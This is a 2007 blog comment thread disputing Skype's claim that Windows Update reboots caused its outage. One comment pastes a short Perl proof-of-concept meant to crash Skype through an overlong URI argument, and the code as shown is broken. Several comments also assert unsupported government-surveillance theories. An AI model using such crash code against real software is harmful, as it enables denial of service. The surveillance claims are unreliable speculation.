Skype outage caused by Windows Update? Yeah right...

Comment by Bill, on 21-AUG-2007 09:11

Windows Update?? Believe that, please. Or were the eBay / Skype folks installing the recently mandated "back door" to enable to US government to monitor their user's "encrypted" conversations?

Comment by george clark, on 21-AUG-2007 09:15

enternet explorer up dated my compac computer I restarted my computer and it told me to remove all google programs in order to continue. I would not do that, two days later my computer was locked up. JUNK

I now own a MAC very happy without microsoft

Comment by simon14, on 21-AUG-2007 09:30

I think any business who soley relies on SKYPE to make their calls is just silly.

Sure, use skype for cheap international calling, but don't have it setup as your only phone system!!

Cheap isn't always best!

Comment by Nicholas, on 21-AUG-2007 09:32

Interesting analysis. Twice, late last week my Windows box rebooted itself perhaps following an automatic update (but no virus or spyware found).

Microsoft updates are able to reboot machines - I wonder if that was what actually happened?

International simultaneous reboots would make it hard for P2P to recover if everyone has the same timeouts. If so, it should have also affected BitTorrent, Joost, etc.

It is also possible that a new issue within the Windows update affected how peer to peer worked - and it makes me wonder about automatic updates as a security risk.

Comment by Alberto Steinberg, on 21-AUG-2007 11:07

Indeed you´re right.

In my case I have additional comments:

My IE browser was frozen and didn´t work at all until I quit skype.

Why I didn´t report to Skype support ?

Because I no one to talk about.

I´ve been wondering if this kind of free services may have this free way to go only because many user dosen´t pay a fee.

For those who are paying users I think that Skype at least had to give some practical feedback as some free amount of calls or something like that.

Maybe it´s time to rise some strong competitor to make them more responsibles.

Comment by ScottS, on 21-AUG-2007 11:15

My guess is the network was taken down to upgrade it with "security measures" so that conversations can be electronically tapped. No different then what is currently in place with land lines and run by companies like Amdocs. The truth will probably not surface on this for a while if ever.

Comment by Bebop, on 21-AUG-2007 11:50

Actually, depending on the settings, Windows could be able to restart a machine after an update.

Comment by A King, on 21-AUG-2007 14:04

Why, oh why do people rely on Microsoft updates? ALL you need is XP PRO with Service Pack 2. (Vista is a typical bloated unworkable microsoft product taken to the Nth unstable degree.) Get a GOOD anti-virus and firewall and turn OFF auto updates. You'll have no more problems. As to the gentleman who had his Compaq pack up, it is a low end piece of garbage to begin with. You are better off without it.

Comment by Sandi, on 21-AUG-2007 17:02

You make some good points which I will add to.

Seriously, think about it, how can Skype have known that the affected computers were logging in **because they had been rebooted after a WU cycle** - PCs don't knock on Skype's server door saying "excuse me, I just had to reboot because of an update". The client simply tries to connect automatically if set to do so, and as far as I know there is no differentiation between connecting after a reboot or connecting after, for example, a wireless network has dropped out or ISP problems, or even the Skype client itself crashing. I suspect that those behind Skype either guessed, or went with what they thought was the most believable reason for the flood of connections.

If it is possible for Skype's software/server was somehow able to tell categorically that your computer has been rebooted **and why it had rebooted**, then I want to know just how they know that, and *what else* they know.

Comment by barf, on 21-AUG-2007 17:48

If it was windows update, then shouldn't they have FEWER connections during the reboots?

"According to ISC Reader Raul, the VOIPSA list has another theory that the crash was in fact a malicious DDoS.  There is a proof-of-concept code that will send malformed URIs to Skype Servers that will cripples them and allow them to transverse the entire server list.  The ultimate result, assuming enough malicious users do it, is a DoS against the entire balance of Skype servers." - http://isc.sans.org/diary.html?storyid=3292

I mean, just look at how easy it is to DoS skype. How can they blame window update without looking stupid?

#!/usr/bin/perl
# Simle Code by Maranax Porex ;D
# Ya Skaypeg!!

for ($i=256; $i>xCCCCC; $i=$i+256){
$eot='AAAA' x $i;
call_sp();
}
exit;

sub call_sp(){
$str="\"C:\\Program Files\\Skype\\Phone\\Skype.exe\" \"/uri:$eot\"";
}

Comment by David Novakovic, on 22-AUG-2007 10:13

DISCLAIMER: I don't like MS, and i don't like skype.

Well skype were very careful to say that the problem was in their own software. They worked with microsoft to find out what might have triggered it, this shows the strength of their relationship with microsoft not that they were blaming microsoft.

Who else would they call to find out what happened? Linus? Seems pretty obvious that microsoft would want to work with the largest e-telephony company in the world to get things back on the right track again.

Software is complex, especially p2p software.